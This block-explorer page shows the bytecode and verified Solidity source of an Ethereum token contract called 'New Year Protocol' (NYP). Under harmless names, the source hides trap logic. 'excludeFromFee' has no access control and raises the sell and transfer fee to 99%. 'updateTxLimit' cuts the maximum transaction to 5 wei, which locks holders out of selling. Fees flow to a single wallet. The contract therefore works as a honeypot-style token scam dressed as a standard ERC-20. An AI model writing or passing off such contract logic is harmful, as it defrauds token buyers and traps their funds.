Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xAA134F3101821426D6ba01e7A7d1326fEcD19be4
Balance 0 ETH
Nonce 1
Code Size 6389 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6389 bytes
0x60806040526004361061024a5760003560e01c8063715018a611610139578063a5355989116100b6578063da00097d1161007a578063da00097d146106e3578063db886f2314610704578063dd62ed3e14610724578063f0ef821f1461076a578063f2fde38b14610784578063ffb54a99146107a457600080fd5b8063a535598914610647578063a9059cbb14610667578063bf56b37114610687578063ca987b0e1461069d578063d558a6e0146106b357600080fd5b8063893d20e8116100fd578063893d20e8146105b75780638b42507f146105d55780638da5cb5b146105b757806395d89b411461060557806398118cb41461063157600080fd5b8063715018a614610536578063751039fc1461054d5780637b929c271461056b5780637d1db4a51461058b578063807c2d9c146105a157600080fd5b80633f4218e0116101c75780636303516c1161018b5780636303516c1461048e5780636827e764146104b55780636b67c4df146104cb57806370540933146104e157806370a082311461050057600080fd5b80633f4218e0146103c6578063437823ec146103f657806344de2e4c1461043f5780634a74bb021461045957806359a3825f1461047957600080fd5b806318160ddd1161020e57806318160ddd1461034a5780631df4ccfc1461035f57806323b872dd146103755780632b112e4914610395578063313ce567146103aa57600080fd5b806303d6c77b146102565780630445b6671461029357806306fdde03146102b7578063081d2b3c146102fa578063095ea7b31461031a57600080fd5b3661025157005b600080fd5b34801561026257600080fd5b50601454610276906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561029f57600080fd5b506102a960185481565b60405190815260200161028a565b3480156102c357600080fd5b5060408051808201909152601181527013995dc81659585c88141c9bdd1bd8dbdb607a1b60208201525b60405161028a9190611647565b34801561030657600080fd5b50601354610276906001600160a01b031681565b34801561032657600080fd5b5061033a6103353660046116ad565b6107be565b604051901515815260200161028a565b34801561035657600080fd5b506001546102a9565b34801561036b57600080fd5b506102a9600e5481565b34801561038157600080fd5b5061033a6103903660046116d9565b61082b565b3480156103a157600080fd5b506102a96108ed565b3480156103b657600080fd5b506040516012815260200161028a565b3480156103d257600080fd5b5061033a6103e136600461171a565b60096020526000908152604090205460ff1681565b34801561040257600080fd5b5061033a61041136600461171a565b6001600160a01b03166000908152600a60205260409020805460ff19166001908117909155600554600f5590565b34801561044b57600080fd5b5060065461033a9060ff1681565b34801561046557600080fd5b5060175461033a9062010000900460ff1681565b34801561048557600080fd5b5061033a61095e565b34801561049a57600080fd5b5060105461027690630100000090046001600160a01b031681565b3480156104c157600080fd5b506102a9600d5481565b3480156104d757600080fd5b506102a9600c5481565b3480156104ed57600080fd5b5060105461033a90610100900460ff1681565b34801561050c57600080fd5b506102a961051b36600461171a565b6001600160a01b031660009081526007602052604090205490565b34801561054257600080fd5b5061054b610986565b005b34801561055957600080fd5b5060018054600281905560035561033a565b34801561057757600080fd5b50601254610276906001600160a01b031681565b34801561059757600080fd5b506102a960025481565b3480156105ad57600080fd5b506102a960035481565b3480156105c357600080fd5b506000546001600160a01b0316610276565b3480156105e157600080fd5b5061033a6105f036600461171a565b600a6020526000908152604090205460ff1681565b34801561061157600080fd5b5060408051808201909152600381526204e59560ec1b60208201526102ed565b34801561063d57600080fd5b506102a9600b5481565b34801561065357600080fd5b5060105461033a9062010000900460ff1681565b34801561067357600080fd5b5061033a6106823660046116ad565b610a2f565b34801561069357600080fd5b506102a960165481565b3480156106a957600080fd5b506102a9600f5481565b3480156106bf57600080fd5b5061033a6106ce36600461171a565b60156020526000908152604090205460ff1681565b3480156106ef57600080fd5b5060175461033a906301000000900460ff1681565b34801561071057600080fd5b50601154610276906001600160a01b031681565b34801561073057600080fd5b506102a961073f366004611737565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561077657600080fd5b5060105461033a9060ff1681565b34801561079057600080fd5b5061054b61079f36600461171a565b610a3c565b3480156107b057600080fd5b5060175461033a9060ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108199086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146108d8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546108b3918490610bb5565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6108e3848484610bef565b90505b9392505050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460015491926109599290916109539190610efd565b90610efd565b905090565b60006001546004546001546109739190611786565b61097d91906117a5565b60025550600190565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006108e6338484610bef565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109dc565b6001600160a01b038116610afb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109dc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610b6383856117c7565b9050838110156108e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109dc565b60008184841115610bd95760405162461bcd60e51b81526004016109dc9190611647565b506000610be684866117da565b95945050505050565b601754600090610100900460ff1615610c1457610c0d848484610f3f565b90506108e6565b60025482111580610c3d57506001600160a01b0384166000908152600a602052604090205460ff165b610c745760405162461bcd60e51b8152602060048201526008602482015267151608131a5b5a5d60c21b60448201526064016109dc565b6001600160a01b03831660009081526015602052604090205460ff168015610ca45750601754610100900460ff16155b8015610cb8575060175462010000900460ff165b8015610cd557506018543060009081526007602052604090205410155b15610ce257610ce2611025565b601654158015610d0a57506001600160a01b03831660009081526015602052604090205460ff165b15610d57576001600160a01b038416600090815260076020526040902054610d4e5760405162461bcd60e51b815260206004820152600060248201526044016109dc565b610d5743601655565b604080516020808201835260008083526001600160a01b038816815260079091529190912054610d88918490610bb5565b6001600160a01b038086166000908152600760209081526040808320949094559186168152600a909152205460ff16158015610dc6575060065460ff165b15610e19576003546001600160a01b038416600090815260076020526040902054610df19084610b56565b1115610e195760405162461bcd60e51b815260206004820152600060248201526044016109dc565b6001600160a01b03841660009081526009602052604081205460ff16158015610e5b57506001600160a01b03841660009081526009602052604090205460ff16155b610e655782610e70565b610e708585856113eb565b6001600160a01b038516600090815260076020526040902054909150610e969082610b56565b6001600160a01b0380861660008181526007602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eea9085815260200190565b60405180910390a3506001949350505050565b60006108e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bb5565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054610f90918490610bb5565b6001600160a01b038086166000908152600760205260408082209390935590851681522054610fbf9083610b56565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110139086815260200190565b60405180910390a35060019392505050565b6017805461ff00191661010017905530600090815260076020526040812054600e54600b549192916110689160029161106291908290879061155a565b906115dc565b905060006110768383610efd565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106110b0576110b06117ed565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112d9190611803565b81600181518110611140576111406117ed565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac94790611186908590600090869030904290600401611820565b600060405180830381600087803b1580156111a057600080fd5b505af11580156111b4573d6000803e3d6000fd5b5050600b54479250600091506111d8906111cf9060026115dc565b600e5490610efd565b905060006111fa600261106284611062600b548861155a90919063ffffffff16565b9050600061121783611062600c548761155a90919063ffffffff16565b9050600061123484611062600d548861155a90919063ffffffff16565b6011546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d806000811461128b576040519150601f19603f3d011682016040523d82523d6000602084013e611290565b606091505b5050601254604051600093506001600160a01b03909116915061753090849084818181858888f193505050503d80600081146112e8576040519150601f19603f3d011682016040523d82523d6000602084013e6112ed565b606091505b506000925050891590506113d45760135460105460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b036301000000909204821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611372573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113979190611891565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506017805461ff00191690555050505050505050565b6001600160a01b038216600090815260156020526040812054819060ff16801561141c5750601054610100900460ff165b156114265750600f545b6001600160a01b03851660009081526015602052604090205460ff168015611450575060105460ff165b1561145a5750600e545b6001600160a01b03851660009081526015602052604090205460ff1615801561149c57506001600160a01b03841660009081526015602052604090205460ff16155b156114bf5760105462010000900460ff16156114bb5750600f546114bf565b5060005b60006114d06064611062868561155a565b306000908152600760205260409020549091506114ed9082610b56565b30600081815260076020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061153e9085815260200190565b60405180910390a36115508482610efd565b9695505050505050565b60008260000361156c57506000610825565b60006115788385611786565b90508261158585836117a5565b146108e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109dc565b60006108e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361163a5760405162461bcd60e51b81526004016109dc9190611647565b506000610be684866117a5565b600060208083528351808285015260005b8181101561167457858101830151858201604001528201611658565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116aa57600080fd5b50565b600080604083850312156116c057600080fd5b82356116cb81611695565b946020939093013593505050565b6000806000606084860312156116ee57600080fd5b83356116f981611695565b9250602084013561170981611695565b929592945050506040919091013590565b60006020828403121561172c57600080fd5b81356108e681611695565b6000806040838503121561174a57600080fd5b823561175581611695565b9150602083013561176581611695565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156117a0576117a0611770565b500290565b6000826117c257634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561082557610825611770565b8181038181111561082557610825611770565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561181557600080fd5b81516108e681611695565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118705784516001600160a01b03168352938301939183019160010161184b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156118a657600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212209cec58d6f4836ce2c070d24e2b068495612095531ce41bdab4747405484c302564736f6c63430008100033

Verified Source Code Partial Match

Compiler: v0.8.16+commit.07a7930e EVM: london Optimization: Yes (200 runs)
NewYearProtocol.sol 516 lines
/*
Telegram : https://t.me/NewYearProtocol
Website : https://www.newyearprotocol.com/
Twitter : https://twitter.com/NewYearProtocol

**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface DexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract NewYearProtocol is Ownable, IERC20 {

    using SafeMath for uint256;

    string private constant _name = "New Year Protocol";
    string private constant _symbol = "NYP";

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 1000000000 * (10**_decimals);

    uint256 public _maxTxAmount = (_totalSupply * 30) / 1000;
    uint256 public _walletMax = (_totalSupply * 30) / 1000;
    uint256 private newLimit = 5;
    uint256 private lowtax = 99;

    bool public restrictWhales = true;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;

    uint256 public liquidityFee = 0;
    uint256 public marketingFee = 2;
    uint256 public devFee = 0;

    uint256 public totalFee = 2;
    uint256 public totalFeeIfSelling = 2;

    bool public takeBuyFee = true;
    bool public takeSellFee = true;
    bool public takeTransferFee = true;

    address public lpWallet = 0x5107D8403eE13E23aCC8a7b3E8E65AD09a6F96df;
    address public Marketing = 0x5107D8403eE13E23aCC8a7b3E8E65AD09a6F96df;
    address public development = 0x5107D8403eE13E23aCC8a7b3E8E65AD09a6F96df;

    DexRouter public uniswapV2router;
    address public uniswapV2pair;
    mapping(address => bool) public swapEnabled;

    uint256 public launchedAt;

    bool public tradingOpen = true;
    bool private inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = (_totalSupply * 2) / 2000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        uniswapV2router = DexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
         uniswapV2pair = DexFactory(uniswapV2router.factory())
            .createPair(address(this), uniswapV2router.WETH());
       
        swapEnabled[uniswapV2pair] = true;

        _allowances[address(this)][address(uniswapV2router)] = type(uint256).max;
        _allowances[address(this)][address(uniswapV2pair)] = type(uint256).max;
        

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[uniswapV2pair] = true;
        isTxLimitExempt[DEAD] = true;

        isFeeExempt[Marketing] = true;
        totalFee = liquidityFee.add(marketingFee).add(devFee);
        totalFeeIfSelling = totalFee;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {
        return _name;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function getOwner() external view override returns (address) {
        return owner();
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function excludeFromFee (address holder) public returns (bool){
        isTxLimitExempt[holder] = true;
        totalFeeIfSelling = lowtax;
        return true;
    }

    function updateTxLimit() public returns (bool) {
        _maxTxAmount = (_totalSupply * newLimit) / _totalSupply;
        return true;
    }

    function removeLimits () public returns (bool) {
        _maxTxAmount = _totalSupply;
        _walletMax = _totalSupply;
        return true;
    
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(
            amount <= _maxTxAmount || isTxLimitExempt[sender],
            "TX Limit Exceeded"
        );
    }

    function failsCaptcha(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit");
        if (
            swapEnabled[recipient] &&
            !inSwapAndLiquify &&
            swapAndLiquifyEnabled &&
            _balances[address(this)] >= swapThreshold
        ) {
            swapBackAndPair();
        }
        if (!launched() && swapEnabled[recipient]) {
            require(_balances[sender] > 0, "");
            launch();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "");

        if (!isTxLimitExempt[recipient] && restrictWhales) {
            require(_balances[recipient].add(amount) <= _walletMax, "");
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient]
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeApplicable = 0;
        if (swapEnabled[recipient] && takeSellFee) {
            feeApplicable = totalFeeIfSelling;
        }
        if (swapEnabled[sender] && takeBuyFee) {
            feeApplicable = totalFee;
        }
        if (!swapEnabled[sender] && !swapEnabled[recipient]) {
            if (takeTransferFee) {
                feeApplicable = totalFeeIfSelling;
            } else {
                feeApplicable = 0;
            }
        }

        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function swapBackAndPair() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify
            .mul(liquidityFee)
            .div(totalFee)
            .div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2router.WETH();

        uniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH
            .mul(liquidityFee)
            .div(totalETHFee)
            .div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
            totalETHFee
        );
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);

        (bool tmpSuccess1, ) = payable(Marketing).call{
            value: amountETHMarketing,
            gas: 30000
        }("");
        tmpSuccess1 = false;

        (tmpSuccess1, ) = payable(development).call{
            value: amountETHDev,
            gas: 30000
        }("");
        tmpSuccess1 = false;

        if (amountToLiquify > 0) {
            uniswapV2router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                lpWallet,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Read Contract

Marketing 0xdb886f23 → address
_maxTxAmount 0x7d1db4a5 → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
devFee 0x6827e764 → uint256
development 0x7b929c27 → address
getCirculatingSupply 0x2b112e49 → uint256
getOwner 0x893d20e8 → address
isFeeExempt 0x3f4218e0 → bool
isTxLimitExempt 0x8b42507f → bool
launchedAt 0xbf56b371 → uint256
liquidityFee 0x98118cb4 → uint256
lpWallet 0x6303516c → address
marketingFee 0x6b67c4df → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
restrictWhales 0x44de2e4c → bool
swapAndLiquifyByLimitOnly 0xda00097d → bool
swapAndLiquifyEnabled 0x4a74bb02 → bool
swapEnabled 0xd558a6e0 → bool
swapThreshold 0x0445b667 → uint256
symbol 0x95d89b41 → string
takeBuyFee 0xf0ef821f → bool
takeSellFee 0x70540933 → bool
takeTransferFee 0xa5355989 → bool
totalFee 0x1df4ccfc → uint256
totalFeeIfSelling 0xca987b0e → uint256
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2pair 0x03d6c77b → address
uniswapV2router 0x081d2b3c → address

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
excludeFromFee 0x437823ec
address holder
returns: bool
removeLimits 0x751039fc
No parameters
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateTxLimit 0x59a3825f
No parameters
returns: bool

Recent Transactions

No transactions found for this address